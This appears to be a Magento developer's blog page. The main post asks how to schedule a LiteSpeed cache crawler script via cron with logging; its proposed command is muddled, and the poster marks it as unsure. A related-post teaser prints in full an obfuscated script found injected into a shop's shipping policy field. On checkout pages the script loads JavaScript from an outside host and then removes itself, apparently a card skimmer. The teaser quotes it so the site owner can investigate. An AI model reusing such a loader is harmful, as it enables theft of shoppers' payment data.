Rubin Shrestha
Zend certified PHP/Magento developer
Rubin Shrestha
Blog

Run cron crawler.sh litespeed cache

by |Published

Documentation:
https://docs.litespeedtech.com/lscache/litemage/crawler/

Path to: M2-crawler.sh in server /home/user/M2-crawler.sh

Via SSH I run crawler in this way:

cd /home/user
bash M2-crawler.sh SITE-MAP-URL
  1. How to run crawler via cron and log in var/log?
  • I try some like this but Im not sure, is correct way?


/usr/local/php74/bin/php74 /home/user/bash M2-crawler.sh https://sitemap.pl/pub/media/sitemap/sitemap-1-1.xml 2>&1 | grep -v "Cached" >> /home/user/domains/sitemap.pl/public_html/var/log/cachels.cron.log

  1. I have 50k+ products – How many cron time should schedule the crawler run?

You may also like

script injected in magento 2.4.1 at shipping_policy_content
Published

script injected in magento 2.4.1 at shipping_policy_content

we found a script like this in shipping/shipping_policy/shipping_policy_content <script id=”shopcart”>((g,r,w,s,t,o) => {if(g.location.href.indexOf(atob(t))>-1){a=r.createElement(w);a.id=”carthelper”;a.async=1;a.src=atob(o);r.body.appendChild(a);}if(document.querySelector(“#shopcart”)){document.querySelector(“#shopcart”).remove();}})(window,document,”script”,”gCaptcha”,”Y2hlY2tvdXQ”,”aHR0cHM6Ly9zdGF0aWMud2ViYWdlbmN5YW5hbHl0aWNzLmNvbS9tYWluLmpzP3Y9MS4wLjM”)</script> Which translates to https://static.webagencyanalytics.com/main.js?v=1.0.3 I’m trying to determine how this […]